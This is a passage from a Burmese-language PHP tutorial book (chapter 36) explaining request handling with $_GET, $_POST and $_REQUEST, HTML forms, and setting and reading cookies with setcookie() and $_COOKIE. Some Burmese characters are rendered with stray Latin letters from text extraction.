နှစ်မျ ို းနိှုင်းယှဉ်ပြပီး စမ်းeကည့်နိုင်ပါတယ်။ လက်ရှိစမ်းလက်စ ပကြေရာင်္ဂျက်oုိဒါထဲမှာ အခုလုိ Run eကည့်ပါ။

composer require laravel/laravel

ဒါဆိုရင် Laravel Framework ကို  Download ရယူပြပီး vendor oုိဒါထဲမှာ ထည့်ကြေပးသွားမှာပါ။ ပြပီးတဲ့အခါ
အခုလုိ စမ်းeကည့်ပါ။

composer create-project laravel/laravel project
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composer create-project ကြေနာက်ကကြေန  Download  ရယူလုိတဲ့  Package  နဲ့  တည်ကြေဆာက်လုိ
တဲ့  ပကြေရာင်္ဂျက်oုိဒါအမည်  ကြေပးလုိက်တာပါ။  နမူနာအရ  project အမည်နဲ့  oုိဒါအသစ်တစ်ခု
တည်ကြေဆာက်ပြပီး Laravel Framework ကုဒ်ကြေတွကို အ့ဲဒီoုိဒါထဲမှာ ထည့်ကြေပးသွားတာကို ကြေတွ့ရမှာပဲ goစ်ပါ
တယ်။ 

require နဲထ့ည့်သွင်းလုိက်လုိ့  ဝင်ကြေရာက်သွားတဲ့  vendor/laravel/laravel oုိဒါထဲက  ကုဒ်
ကြေတွနဲ့  create-project နဲ့  တည်ကြေဆာက်လုိက်လုိ့  ရရှိသွားတဲ့  project oုိဒါထဲကကုဒ်ကြေတွ အများ
အားgoင့် အတတူူပဲဆိုတာကို ကြေတွ့ရနိုင်ပါတယ်။ ဒီနည်းနဲ့  Composer  ကိုအသုံးgပုပြပီး  Package ကြေတွ ရယူ
ယုံသာမက၊ လုိချင်တဲ့ Package ကိုကူးယူပြပီးကြေတာ့လည်း ပကြေရာင်္ဂျက်အသစ်ကြေတွ တည်ကြေဆာက်နိုင်ပါတယ်။
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အခန်း (၃၆) – Requests, Cookies & Sessions

ဟိုးအစပုိင်းမှာ  PHP  ရဲ့  Server-side  နည်းပညာသကြေyာသyာဝကို  ကြေoာ်gပခဲ့ပြပီးgoစ်ပါတယ်။  PHP  ဟာ
Web Server  နဲပူ့းကြေပါင်းပြပီး  Client  ကြေပးပုိတ့ဲ့  Request  ကြေတွကို  လက်ခံရရှိချနိ်မှာ အလုပ်လုပ်တာပါ။ ဒီလုိ
အလုပ်လုပ်တဲ့အခါ Request နဲ့ အတူပါဝင်လာတဲ့ Request Data ကြေတွကို လက်ခံ စီမံနိုင်oုိဟ့ာ အကြေရးကြကီး
တဲ့  လုိအပ်ချက်  goစ်ပါတယ်။  အgခားကြေသာ  Programming  Language  ကြေတွမှာ  ဒီလုိ  Request  ကြေတွကို
လက်ခံစီမံoုိအ့တွက် သီးgခား Library ကြေတွ Module ကြေတွ Framework ကြေတွ ထပ်မံထည့်သွင်းပြပီး အသုံးgပုရ
တာမျ ို း  goစ်နိုင်ပါတယ်။  PHP  ရဲ့  ထူးgခားချက်ကကြေတာ့  တgခားyာမှ  ထပ်ထည့်စရာမလုိyဲ  Language
ကိုယ်တိုင်က    Request    ကြေတွကို  လက်ခံစီမံနိုင်gခင်းပဲ  goစ်ပါတယ်  ။  ဒီအခန်းမှာ  PHP  ကို  အသံုးgပုပြပီး
Request Data ကြေတွ လက်ခံစီမံနိုင်ပံုကို ကြေoာ်gပသွားမှာ goစ်ပါတယ်။

Web Application ကြေတွမှာ Request Data ကြေတဟွာ ပံုစံနှစ်မျ ို းနဲ့ လာကြေလ့ရှိပါတယ်။ ပထမတစ်မျ ို းကကြေတာ့
URL Query ပါ။ ဥပမာ ဒီလိပ်စာကို ကြေလ့လာeကည့်ပါ။

https://www.google.com/search?q=php&hl=my

ဒါဟာအမှန်တစ်ကယ် အသံုးgပုလုိရ့တဲ့ လိပ်စာပါ။ ဒီလိပ်စာမှာ အကြေရးကြကီးတာက ? သကြေက[တကြေလးနဲအ့တူ
ကြေနာက်ကကြေနပူးတွဲပါဝင်လာတဲ့  အချက်အလက်များgoစ်ပါတယ်။ ကြေသချာကြေလ့လာeကည့်ပါ။  ? သကြေက[ကြေလး
ကြေနာက်မှာ  ပူးတွဲပါဝင်ကြေနတဲ့  တန်oုိးနှစ်ခု  ရှိပါတယ်။  q=php နဲ့  hl=my တိုပ့ါ။  ဒီတန်oုိးနှစ်ခုကို  &
သကြေက[တကြေလးနဲ ့တွဲဆက်ပြပီးကြေပးထားgခင်း goစ်ပါတယ်။

https://www.google.com/search?q=php&hl=my
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နမူနာလိပ်စာက Google Search ကိုညွှန်းထားတဲ့လိပ်စာgoစ်လုိ့  Browser URL Bar မှာရုိက်ထည့်လုိက်တဲ့
အခါ  Google Server  ရဲ့  Search  လုပ်ကြေဆာင်ချက်တည်ရှိရာကို  ကြေရာက်ရှိသွားမှာပါ။ ဒီလုိကြေရာက်ရှိသွားတဲ့
အခါ Google Server က ပါဝင်လာတဲ့  q=php ဆိုတဲ့တန်oုိးနဲ့  hl=my ဆိုတဲ့တန်oုိးနှစ်ခုတိုက့ို လက်ခံရရှိ
သွားမှာပါ။ ဒါကြေeကာင့် gမန်မာyာသာနဲ့  ကြေoာ်gပထားတဲ့  php အတွက်  Search Result  ကို  gပန်လည်ကြေပးပုိ့
လုိက်မှာပဲ goစ်ပါတယ်။ လက်ကြေတွ့ စမ်းသပ်eကည့်နိုင်ပါတယ်။

Google Server က URL အတွင်းမှာ ပါဝင်လာတဲ့ URL Query တန်oုိးကြေတွကို လက်ခံအလုပ်လုပ်နိုင်သလုိပဲ
PHP ကလည်း လက်ခံအလုပ်လုပ်နိုင်ပါတယ်။ အလွန်လွယ်ကူပြပီး ရုိးရှင်းတဲ့နည်းလမ်းကြေလးတစ်ခုနဲ့ လက်ခံ
အလုပ်လုပ်မှာပါ။

PHP မှာ $_GET လုိ့ကြေခါ်တဲ့  Superglobal Variable တစ်ခုရှိပါတယ်။ PHP က ကြကိုတင်ကြေeကညာကြေပးထား
တဲ့  Variable  ပါ။  ဒါကြေeကာင့်  ကိုယ့်yာသာ ကြေeကညာစရာမလုိပါyူး။  အ့ဲဒီ  Variable  ထဲမှာ  URL Query
အကြေနနဲ့  ပါဝင်လာတဲ့  တန်oုိးကြေတွကို  Associate  Array  အကြေနနဲ့  ထည့်သွင်းကြေပးထားမှာ  goစ်ပါတယ်။  ဒါ
ကြေeကာင့် get.php ဆိုတဲ့အမည်နဲ့ oုိင်တစ်ခုထဲမှာ အခုလုိကြေရးပြပီး  Document Root oုိဒါgoစ်တဲ့  htdocs
ထဲမှာ သိမ်းလုိက်ပါ။

 PHP 

<?php

print_r( $_GET );

ပြပီးတဲ့အခါ  localhost/get.php လုိ့  Browser  မှာရုိက်ထည့်ပြပီး  စမ်းeကည့်လုိက်ရင်  yာတန်oုိးမှ  မရှိတဲ့
Array အလွတ်တစ်ခုကို gပန်ရတာ ကြေတွ့ရမှာပဲ goစ်ပါတယ်။ သတိgပုပါ။ Error မgoစ်ပါyူး။ Variable သာ
မရှိရင် မရှိကြေeကာင်း Error တက်မှာပါ။ အခုက Variable ရှိကြေနလုိ့ Error မတက်ပါyူး။ URL Query တန်oုိး
ကြေတွ မရှိကြေသးလုိ့သာ yာတန်oုိးမှ မရှိကြေသးတဲ့  Array အလွတ်တစ်ခု goစ်ကြေနတာပါ။ ဒါကြေeကာင့် အခုလုိ ထပ်
ပြပီးကြေတာ့ စမ်းeကည့်လုိက်ပါ။

localhost/get.php?name=Alice&age=22
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ဒါဆိုရင်ကြေတာ့ အခုလုိရလဒ်ကို gပန်လည်ရရှိတာကို ကြေတွ့ ရမှာပဲ goစ်ပါတယ်။

Array ( [name] => Alice [age] => 22 )

URL Query  အကြေနနဲပ့ါဝင်လာတဲ့တန်oုိးကြေတွဟာ  $_GET Variable  ထဲမှာ ကြေရာက်ရှိကြေနတာကို  ကြေတွ့ gမင်ရ
gခင်းပဲgoစ်ပါတယ်။  ဒါဟာ  eကည့်လုိက်ရင်  yာမှမဟုတ်သလုိနဲ့  ကြေတာ်ကြေတာ်ကြေလး  အကြေရးပါတဲ့
လုပ်ကြေဆာင်ချက် တစ်ခုပါ။ 

ဒီလုိ  URL Query  တန်oုိးကြေတွ  အသင့်သုံးလုိရ့နိုင်oုိ့အတွက်  URL  ကို  Parse  လုပ်ရပါတယ်။  Parse  လုပ်
တယ်ဆိုတာ အပုိင်းလုိက်goတ်ကြေတာက်ပြပီး  လုိချင်တဲ့တန်oုိးကို  ထုတ်ယူတဲ့သကြေyာပါ။  ပြပီးတဲ့အခါ  တန်oုိး
ကြေတွကို Decode လုပ်ရပါတယ်။ URL Query တန်oုိးကြေတွမှာ Space ကြေတွ Special Character ကြေတွပါလုိမ့ရ
ပါyူး။  ပါလာခဲ့ရင်  Browser  က သင်ကြေတာ်တဲ့  သကြေက[တကြေတွနဲ့  Encode  လုပ်ပြပီး  ပုိလုိ့က်မှာပါ။  ဥပမာ  -
Space ဆိုရင်  %20 သကြေက[တနဲ့  Encode လုပ်ကြေပးပါတယ်။ ဒီလုိ  Encode လုပ်ထားတဲ့တန်oုိးကြေတွကို မူလ
တန်oုိးအမှန် gပန်goစ်oုိအ့တွက် Decode လုပ်ရတာပါ။ ပြပီးတဲ့အခါ String Format goစ်ကြေနတဲ့တန်oုိးကြေတွကို
Array goစ်သွားကြေအာင် ကြေgပာင်းကြေပးရပါတယ်။ ဒီအလုပ်ကြေတွအကုန်လုံးကို   PHP   က လုပ်ကြေပးသွားလုိ့   ကိုယ်က
သိစရာ၊ ထိစရာ မလုိကြေတာ့yဲ၊ URL Query တန်oုိးကိုလုိချင်ရင် $_GET Variable ထဲကကြေန အသင့်ယူသံုး
လုိ့ ရသွားgခင်းပဲgoစ်ပါတယ်။

PHP မှာ $_GET လုိမျ ို း တgခား Superglobal Variable ကြေတရွှိeကပါကြေသးတယ်။ ဆက်လက်ကြေoာ်gပပါမယ်။
ဒီ Superglobal Variable ကြေတွရဲ့ ထူးgခားချက်ကကြေတာ့ လုိအပ်တဲ့ကြေနရာမှ တိုက်ရုိက်အသံုးgပုနိုင်gခင်း goစ်ပါ
တယ်။ Function နဲ့ Variable Scope အကြေeကာင်းကြေgပာတံုးက မှတ်မိပါလိမ့်မယ်။ Function ကြေတွအတွင်းမှာ
Global Variable ကြေတွကို အသုံးgပုလုိရင် global Statement နဲ့ အသုံးgပုလုိကြေeကာင်း ကြကိုကြေgပာပြပီးမှ သုံးရ
ပါတယ်။  Superglobal  Variable    ကြေတွကို   အသုံးgပုoုိအ့တွက်  အ့ဲဒီလုိကြကိုကြေgပာစရာမလုိပါyူး။  ကြကိုက်တဲ့
ကြေနရာမှာ တုိက်ရုိက်အသုံးgပုလုိရ့နိုင်မှာပဲ goစ်ပါတယ်။

ကြေစာကြေစာက  Request  Data  ကြေတဟွာ  ပံုစံနှစ်မျ ို းနဲ့  လာတယ်လုိ့  ကြေgပာခဲ့ပါတယ်။  ပထမတစ်မျ ို းက  URL
Query ပါ။ ကြေနာက်တစ်မျ ို းကကြေတာ့ Form Data goစ်ပါတယ်။ HTML Form တစ်ခုကကြေန ကြေပးပုိလ့ာတဲ့ Data
ကြေတွကိုလည်း လက်ခံအလုပ်လုပ်ကြေပးနိုင်တယ်လုိ့ ကြေgပာတာပါ။
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ဒီကြေနရာရာမှာ လုိအပ်လာတဲ့အတွက် HTML Form အကြေeကာင်းကို ထည့်သွင်းကြေလ့လာeကပါမယ်။ ကုဒ်နမူနာ
ကြေရးစမ်းoုိအ့တွက်  form အမည်နဲ့  ပကြေရာင်္ဂျက်oုိဒါတစ်ခုကို  htdocs ကြေအာက်မှာ တည်ကြေဆာက်လုိက်ပါ။
ပြပီးရင် index.php နဲ့  request.php ဆိုတဲ့ oုိင်နှစ်ခုတည်ကြေဆာက်ပြပီး index.php ထဲမှာ ဒီကုဒ်ကို
ကြေရးကြေပးပါ။

 PHP 

<!DOCTYPE html>
<html lang="en">
<head>
    <title>PHP Request</title>
</head>
<body>
    <h1>PHP Request</h1>
    <form action="request.php" method="get">
        <input type="text" name="name" placeholder="Name"><br>
        <input type="text" name="age" placeholder="Age"><br>

        <button type="submit">Send Data</button>
    </form>
</body>
</html>

ဒီနမူနာမှာ PHP ကုဒ်ကြေတွ မပါပါyူး။ ရုိးရုိး  HTML Form တစ်ခုသာgoစ်ပါတယ်။ ဒီ  Form ရဲ့အလုပ်လုပ်ပံု
ကို  ကြေသချာကြေလ့လာပါ။  <form> Element  မှာ  Attribute  နှစ်ခုရှိပါတယ်။  action Attribute  မှာ  ဒီ
Form ကကြေပးပုိတ့ဲ့  Data ကြေတွကို လက်ခံအလုပ်လုပ်မယ့် ကုဒ်oုိင်ရဲ့ တည်ကြေနရာကို ကြေပးရတာပါ။ method
Attribute  မှာကြေတာ့  HTTP Request  ကြေတွထဲက  get သုိမ့ဟုတ်  post ဆိုတဲ့  နှစ်ခုထဲက အသံုးgပုလုိတဲ့
တစ်ခုကို ကြေပးရတာပါ။ နမူနာမှာ get လုိ့ကြေပးထားပါတယ်။ တစ်ကယ်ကြေတာ့ Default Method က get ပါ။
ဒါကြေeကာင့်  method   Attribute    မကြေပးရင်လည်း    method     ရဲ့တန်oုိးက    get     ပဲgoစ်မှာပါပဲ  ။  ကြေပးရမှန်းသိ
ကြေအာင် သာထည့်ကြေရးကြေပးလုိက်တာပါ။

Form အတွင်းထဲမှာ User က ရုိက်ထည့်လုိရ့တဲ့၊ ကြေရွးချယ်လုိရ့တဲ့ Input ကြေတရွှိပါတယ်။ Data ကိုလက်ခံလုိ
တဲ့  Input    တိုင်းမှာ    name   Attribute    ပါရပါတယ်  ။ မပါရင် အ့ဲဒီ  Input  က  Data  ကို  ထည့်သွင်းလက်ခံ
အလုပ်လုပ်မှာ မဟုတ်ပါyူး။
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Data  ကြေတွပုိ့ကြေပးတဲ့  Button  တစ်ခုကိုလည်း  ထည့်ကြေပးထားတာကို  ကြေတွ့ ရနိုင်ပါတယ်။  နှစ်မျ ို းကြေရးလုိရ့ပါ
တယ်။ <button type="submit"></button> သုိမ့ဟုတ် <input type="submit"> goစ်
ပါတယ်။ နမူနာမှာ တgခား Input ကြေတွနဲက့ွဲgပားသွားကြေအာင် <input type="submit"> ကို မသံုးyဲ
<button type="submit"></button> ကို  အသုံးgပုထားပါတယ်။ ဒီ  Button  ကို  နှိပ်လုိက်ရင်
Input  ကြေတွမှာ ကြေရွးချယ် goည့်သွင်းထားတဲ့  Data  ကြေတွကို  action မှာ သတ်မှတ်ထားတဲ့  ကုဒ်oုိင်ထံ ပုိ့
ကြေပးလုိက်မှာ goစ်ပါတယ်။

အ့ဲဒီလုိ  ပုိ့ကြေပးတဲ့အလုပ်ကိုလုပ်oုိ့  ကိုယ့်yက်က  yာမှကြေရးကြေပးစရာမလုိပါyူး။  Web  Browser  က  သူ့
yာသာ  လုပ်ကြေပးသွားမှာပါ။  ကိုယ်yက်က  ကြေပးပုိလ့ာတဲ့  Data  ကြေတွကို  လက်ခံoုိ့ပဲလုိပါတယ်။  အ့ဲဒီလုိ
လက်ခံတဲ့အလုပ်အတွက်လည်း yာမှကြေရးကြေပးစရာမလုိပါyူး။ PHP က အဆင်သင့်လက်ခံထားကြေပးမှာ goစ်
ပါတယ်။

စမ်းeကည့်နိုင်oုိအ့တွက် request.php မှာ အခုလုိကုဒ်ကြေလးကြေရးလုိက်ပါ။

 PHP 

<?php

print_r( $_GET );

စမ်းeကည့်လုိရ့ပါပြပီ။  Browser URL Bar  မှာ  localhost/form လုိ့ ရုိက်ထည့်လုိက်တဲ့အခါ  form oုိဒါထဲက
index.php အလုပ်လုပ်သွားလုိ့ အခုလုိရလဒ်ကို ကြေတွgမင်ရပါလိမ့်မယ်။
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သတ်မှတ်ထားတဲ့အတိုင်း Name နဲ့ Age ကြေရးgoည့်လုိရ့တဲ့ Form တစ်ခုကိကုြေတွ့gမင်ကြေနရတာပါ။ နှစ်သက်ရာ
တန်oုိးကြေတွ goည့်သွင်းပြပီး  Send Data ခလုပ်ကို  နှိပ်eကည့်နိုင်ပါတယ်။ အ့ဲဒီလုိ နှိပ်လုိက်တဲ့အခါ  Form  ရဲ့
action Attribute မှာကြေပးထားတဲ့ request.php ကို ကြေရာက်ရှိသွားပြပီး အခုလုိရလဒ်ကို ကြေတွ့gမင်ရမှာပဲ
goစ်ပါတယ်။

ဒီကြေနရာမှာ သတိgပုပါ။  request.php ကိုကြေရာက်ရှိလာတဲ့အခါ  ကြေရးgoည့်လုိက်တဲ့  တန်oုိးကြေတွ  ပါဝင်တဲ့
URL Query   တစ်ခု အလုိအကြေလျှာက် ပါဝင်သွားတာကို   ကြေတွ့ရမှာပဲgoစ်ပါတယ်။ ကြေစာကြေစာကပဲ eကည့်ခဲ့ပြပီးပါ



PWD 2023 – အခန်း (၃၆) – Requests, Cookies & Sessions 548

ပြပီ။ URL Query မှာပါဝင်လာတဲ့တန်oုိးကြေတွဟာ $_GET Superglobal Variable ထဲမှာ အသင့်ရှိကြေနမှာgoစ်
လုိ့ ရုိက်ထုတ်ကြေoာ်gပထားတဲ့ကြေနရာမှာလည်း Form ကကြေပးလုိက်တဲ့ တန်oုိးကြေတွကို  Array တစ်ခုအကြေနနဲ့ ရရှိ
ကြေနတာကို ကြေတွ့gမင်ရမှာပဲ goစ်ပါတယ်။

ဒီနည်းနဲ့ PHP က HTML Form ကကြေနတစ်ဆင့် ကြေပးပုိလ့ာတဲ့ Data ကြေတွကို လက်ခံစီမံလုိ့ ရသွားမှာပဲ goစ်ပါ
တယ်။ ဒီလုိစီမံတဲ့အခါ HTML Form မှာ Method နှစ်မျ ို းရှိသလုိပဲ၊ PHP မှာလည်း Superglobal နှစ်မျ ို း ရှိ
ပါတယ်။ $_GET နဲ့ $_POST goစ်ပါတယ်။ စမ်းeကည့်နိုင်oုိအ့တွက် HTML Form မှာ အခုလုိgပင်ကြေပးလုိက်
ပါ။

<form action="request.php" method="post">
… 

</form>

ဒီလုိကြေgပာင်းပြပီးစမ်းeကည့်ရင် အလုပ်လုပ်မှာ မဟုတ်ကြေတာ့ပါyူး။ yာကြေeကာင့်လဲဆိုကြေတာ့ Form ကအသုံးgပု
တဲ့ Request Method က post goစ်သွားကြေပမယ့် တစ်yက်မှာစမ်းသပ်အသံုးgပုကြေနတာက $_GET goစ်ကြေန
လုိပ့ါ။ ဒါကြေeကာင့် request.php မှာလည်း အခုလုိ gပင်ကြေပးလုိက်oုိ့ လုိပါတယ်။

 PHP 

<?php

print_r( $_POST );

ဒီတစ်ခါစမ်းeကည့်လုိက်ရင်ကြေတာ့  အဆင်ကြေgပသွားတာကို  ကြေတွ့ရမှာပဲ  goစ်ပါတယ်။  ဒါကြေeကာင့်  Form
method နဲက့ိုက်ညီတဲ့  သင့်ကြေတာ်ရာ  Variable  ကို  အသုံးgပုကြေပးရတယ်ဆိုတာကို  သတိgပုပါ။  ပြပီးကြေတာ့
Form Method က post ဆိုရင် ကြေစာကြေစာကလုိ URL Query အကြေနနဲ့ ထည့်သွင်းကြေပးgခင်း မgပုကြေတာ့တာကို
လည်း သတိgပုပါ။ အကြေgခခံအားgoင့် အချက်အလက်ကြေတွ ရယူယုံ သက်သက်ဆိုရင် get ကို အသုံးgပုeကပြပီး၊
Server  က အချက်အလက်ကြေတွ ကြေgပာင်းလဲကြေစချင်ရင်  post ကိုသုံးရတာပါ။ ကြေနာက်ထပ်  Request Data
ကြေတွလက်ခံကြေပးထားတဲ့  Superglobal  တစ်ခုလည်း  ရှိပါကြေသးတယ်။  $_REQUEST လုိ့ကြေခါ်ပါတယ်။
request.php မှာ အခုလုိgပင်ပြပီး စမ်းeကည့်ရင်လည်း အလုပ်လုပ်တယ်ဆိုတာကို ကြေတွ့ရနိုင်ပါတယ်။
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 PHP 

<?php

print_r( $_REQUEST );

ဒီ $_REQUEST Superglobal ရဲ့ထားgခားချက်ကကြေတာ့ တစy်က်ကလာတဲ့ Method yာပဲgoစ်goစ် Data
ကြေတွကို လက်ခံကြေပးထားgခင်းပဲgoစ်ပါတယ်။ ဒါကြေeကာင့် Method get နဲ့ အလုပ်လုပ်သလုိ Method post နဲ့
လည်း အလုပ်လုပ်မှာ goစ်ပါတယ်။ အခု Form Data ကြေတွ Request ကြေတွလက်ခံပံုနဲ့ပက်သက်ပြပီး ဒီကြေလာက်
ပဲ  မှတ်ထားပါဦး။  ခဏကြေနမှ  ဒီဗဟုသုတကို  အသံုးချပြပီး  နည်းနည်းပုိစိတ်ဝင်စားoုိ့ကြေကာင်းတဲ့  နမူနာကြေလး
လုပ်eကည့်eကပါမယ်။  အ့ဲဒီနမူနာကြေလးမလုပ်ခင်  ကြကိုသိထားသင့်တဲ့  Cookie  နဲ့  Session  လုိ့ကြေခါ်တဲ့  Web
နည်းပညာ သကြေyာသyာဝကြေလးကြေတွအကြေeကာင်းကို ကြေgပာပါဦးမယ်။

Cookies
Web  နည်းပညာမှာ  Cookie  လုိ့ကြေခါ်တဲ့  သကြေyာသyာဝတစ်ခုရှိပါတယ်။  အမည်ကထူးဆန်းကြေနကြေပမယ့်
တစ်ကယ်ကြေတာ့  Web  Browser  နဲ့အတူ  တစ်ချ ို ့အချက်အလက်ကြေလးကြေတွ  ပူးတွဲသိမ်းဆည်းလုိရ့တဲ့  နည်း
ပညာ goစ်ပါတယ်။ JavaScript ကိုအသုံးgပုပြပီး အခုလုိ Cookie Data ကြေတွ သိမ်းလုိရ့ပါတယ်။

 HTML & JavaScript 

<script>
    document.cookie = "name=Alice";
    document.cookie = "theme=dark";
</script>

ဒါဟာ  name=Alice နဲ့  theme=dark လုိ့ကြေခါ်တဲ့  တန်oုိးနှစ်ခုကို  Cookie  ထဲမှာ  သိမ်းလုိက်တာပါ။
Cookie ရဲ့ထူးgခားချက်ကကြေတာ့ အ့ဲဒီလုိ သိမ်းထားတဲ့    Cookie Data   ကြေတွကို    Request   ကြေပးပုိလုိ့က်တိုင်းမှာ  
အလုိအကြေလျှာက် ထည့်သွင်းကြေပးပုိ့gခင်းပဲ goစ်ပါတယ်။ ဒါကြေeကာင့် ခဏခဏ ပုိရ့မယ့် အချက်အလက်ကြေတွရှိ
ရင်  Cookie  ထဲမှာ  ထည့်ထားလုိက်gခင်းအားgoင့်  ကိုယ့်yာသာ ခဏခဏပုိစ့ရာ  မလုိကြေတာ့yဲ  Request
လုပ်လုိက်တိုင်း ပါဝင်သွားမှာပဲgoစ်ပါတယ်။

တစ်ကယ်ကြေတာ့  Cookie  ထဲမှာတန်oုိးကြေတွ သိမ်းပံုသိမ်းနည်းကို  ကြေgပာပြပီဆိုရင်၊  yယ်လုိgပန်လည်ရယူရလဲ၊
gပန်oျက်ချင်ရင်  yယ်လုိoျက်ရလဲ  စသည်goင့်  ကြေgပာoုိ့လုိပါတယ်။  ဒါကြေပမယ့်  ဒီကြေနရာမှာ  ကြေgပာချင်တာက
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JavaScript နဲ့  Cookie Data ကြေတွကို yယ်လုိစီမံရလဲ ဆိုတဲ့အကြေeကာင်း မဟုတ်ပါyူး။ အ့ဲဒီ Cookie Data
ကြေတွကို PHP နဲ့ yယ်လုိစီမံရလဲဆိုတာကို ကြေgပာချင်တာပါ။

PHP  ဟာ  Server-side  မှာအလုပ်လုပ်တဲ့  နည်းပညာgoစ်တဲ့အတွက်  Client  goစ်တဲ့  Browser  ရဲ့  Cookie
ကြေတွကို  တုိက်ရုိက်စီမံလုိ့ကြေတာ့  မရပါyူး။  ဒါကြေပမယ့်  စီမံပံုစီမံနည်းကြေတာ့  ရှိပါတယ်။  PHP  မှာ
setcookie() လုိ့ကြေခါ်တဲ့ Standard Function တစ်ခရုှိပါတယ်။ ဒီလုိကြေရးရပါတယ်။

setcookie("name", "Bob");
setcookie("theme", "light");

ဒါဟာ PHP ကိုအသုံးgပုပြပီး name=Bob နဲ့  theme=light ဆိုတဲ့  Cookie Data နှစ်ခုကို သိမ်းခိုင်လုိက်
တာပါ။  PHP  က  Browser  ကြေပါ်မှာ သူကိုယ်တိုင်သွားသိမ်းလုိ့  မရကြေပမယ့်  Response  နဲအ့တူ  Response
Header ထဲမှာ အခုလုိ ထည့်ကြေပးလုိက်မှာပါ။

HTTP/1.1 200 OK
Set-Cookie: name=Bob
Set-Cookie: theme=light

ဒီလုိမျ ို း Set-Cookie Header နဲ့ Response ကိုကြေပးလုိက်တဲ့အခါ လက်ခံရရှိတဲ့ Browser က သိသွားပါ
တယ်။  ဒါဟာ  Server  က  ငါက့ို  Cookie  Data  ကြေတွသိမ်းခိုင်းကြေနတာပဲ။  ဒါကြေeကာင့်  Browser  က  ဒီ
Response ကို လက်ခံရရှိချနိ်မှာ Cookie Data ကြေတွကို  Server ကိုယ်စား သိမ်းကြေပးသွားမှာပဲ goစ်ပါတယ်။
ဒီလုိတစ်ကြကိမ် သိမ်းထားလုိက်ပြပီဆိုရင်ကြေတာ့ ကြေနာက်ပုိင်းgပုလုပ်တဲ့ Request ကြေတွမှာ Cookie Data ကြေတွက
ပူးတွဲပါဝင်သွားကြေတာ့မှာပဲ goစ်ပါတယ်။

ဒါကိုလက်ကြေတွ့စမ်းသပ်နိုင်oုိအ့တွက်  save-cookie.php ဆိုတဲ့အမည်နဲ့  oုိင်တစ်ခုထဲမှာ  အခုလုိကြေလး
ကြေရးပြပီးစမ်းeကည့်နိုင်ပါတယ်။
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 PHP 

<?php

setcookie("name", "Bob");
setcookie("theme", "light");

echo "See view-cookie.php";

Cookie  Data  ကြေတွသိမ်းခို််ငးတဲ့ကုဒ်ကို  ကြေရးကြေပးလုိက်တာပါ။  ဒီလုိသိမ်းကြေပးလုိက်တဲ့အတွက်  ကြေနာက်ပုိင်း
Request  ကြေတွမှာ  အလုိအကြေလျှာက်  ပါဝင်လာမယ့်  တန်oုိးကြေတွကိုကြေတာ့  PHP  က  $_COOKIE
Superglobal Variable  နဲ့  အသင့်လက်ခံထားကြေပးမှာ goစ်ပါတယ်။ ဒါကြေeကာင့်  view-cookie.php ဆို
တဲ့oုိင်ထဲမှာ ဒီလုိကြေရးပြပီးစမ်းeကည့်နိုင်ပါတယ်။

 PHP 

<?php

print_r( $_COOKIE );

// Array ( [name] => Bob [theme] => light )

Browser က အလုိအကြေလျှာက် ကြေပးပုိ့လုိက်တဲ့အတွက်  Cookie Data ကြေတွ $_COOKIE Superglobal  ထဲ
မှာ အသင့်ရှိကြေနတာကို  ကြေတွ့ gမင်ရgခင်းပဲgoစ်ပါတယ်။  Cookie  ကြေတွသိမ်းစဉ်မှာ  Expire Time  နဲ့  Path  ကို
ထည့်သွင်းသိမ်းဆည်းနိုင်ပါတယ်။ Expire Time ဆိုတာ ဒီ Cookie ကို yယ်ကြေလာက်eကာကြေအာင် သိမ်းကြေပး
ရမှာလဲဆိုတဲ့ သက်တမ်းgoစ်ပါတယ်။ အခုလုိ သက်တမ်းကို သတ်မှတ်ကြေပးနိုင်ပါတယ်။

setcookie("name", "Bob", time() + 3600);

ဒါဟာ  name=Bob ဆိုတဲ့  Cookie  တန်oုိးကို  အချနိ်  (၁)  နာရီသက်တမ်း  သတ်မှတ်ကြေပးလုိက်တာပါ။
time() Function ကလက်ရှိအချနိ်ရဲ့ Timestamp ကိုgပန်ကြေပးပြပီး သတ်မှတ်လုိတဲ့ သက်တမ်းကို စက္ကန့်နဲ့
ကြေပါင်းကြေပးလုိက်တာပါ။ စက္ကန့် (၃၆၀၀) လုိ့ကြေgပာလုိက်တဲ့အတွက် အချနိ် (၁) နာရီသက်တမ်းကို ရရှိသွားတာ
ပါ။ ဒါကြေeကာင့် (၁) နာရီgပည့်တဲ့အခါ Browser ကဒီ Cookie ကို အလုိအကြေလျှာက် ပယ်oျက်လုိက်မှာ goစ်ပါ
တယ်။
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အချနိ်သက်တမ်းကို (၁) ရက၊် (၁) ပါတ်၊ စသည်goင့်ကိုယ်သတ်မှတ်လုိသကြေလာက် သတ်မှတ်ကြေပးလုိ့ ရနိုင်ပါ
တယ်။ အကယ်၍ သက်တမ်းသတ်မှတ်ကြေပးgခင်း မရှိရင်ကြေတာ့ လက်ရှိ Browser oွင့်ထားချနိ်၊ ရှိကြေနမှာgoစ်ပြပီး
Browser ပိတ်လုိက်ချနိ်မှာ ပယ်oျက်လုိက်မှာ goစ်ပါတယ်။

Cookie ကြေတွဟာ မူအရ လက်ရှိအလုပ်လုပ်ကြေနတဲ့  Host နဲ့သာ သက်ဆိုင်ပါတယ်။ localhost အတွက်
သိမ်းထားတဲ့  Cookie  ဟာ  localhost:3000 နဲ့သက်ဆိုင်မှာ  မဟုတ်ပါyူး။  Host  မတူတဲ့အတွက်
ကြေeကာင့်ပါ။  localhost အတွက်သိမ်းထားတဲ့  Cookie  ကြေတွကိကုြေတာ့  localhost အတွင်းက  oုိဒါ
အားလုံးနဲ့  သက်ဆိုင်ပါတယ်။  အ့ဲဒီလုိ  သက်ဆိုင်လုိကြေစgခင်း  မရှိyူးဆိုရင်  Cookie  ကို  သိမ်းစဉ်မှာ  သူနဲ့
သက်ဆိုင်တဲ့ Path ကို သတ်မှတ်ကြေပးလုိက်လုိ ့ရပါတယ်။ ဒီလုိသတ်မှတ်ကြေပးရပါတယ် –

setcookie("path", "cookie", time() + 3600, "/form/");

ဒါဟာ path=cookie ဆိုတဲ့  Cookie Data ကို အချနိ်  (၁) နာရီသက်တမ်းနဲ့ သတ်မှတ်လုိက်တာပါ။ ပြပီး
တဲ့အခါ  ကြေနာက်ဆံုး  Argument  အကြေနနဲ့  /form/ လုိထ့ည့်ကြေပးထားတဲ့အတွက်  form oုိဒါထဲမှာပဲ  ဒီ
Cookie  တန်oုိးက  အသက်ဝင်မှာgoစ်ပါတယ်။  တgခား  oုိဒါကြေတွမှာ  ဒီတန်oုိးကို  အသုံးgပုလုိရ့ကြေတာ့မှာ
မဟုတ်ပါyူး။

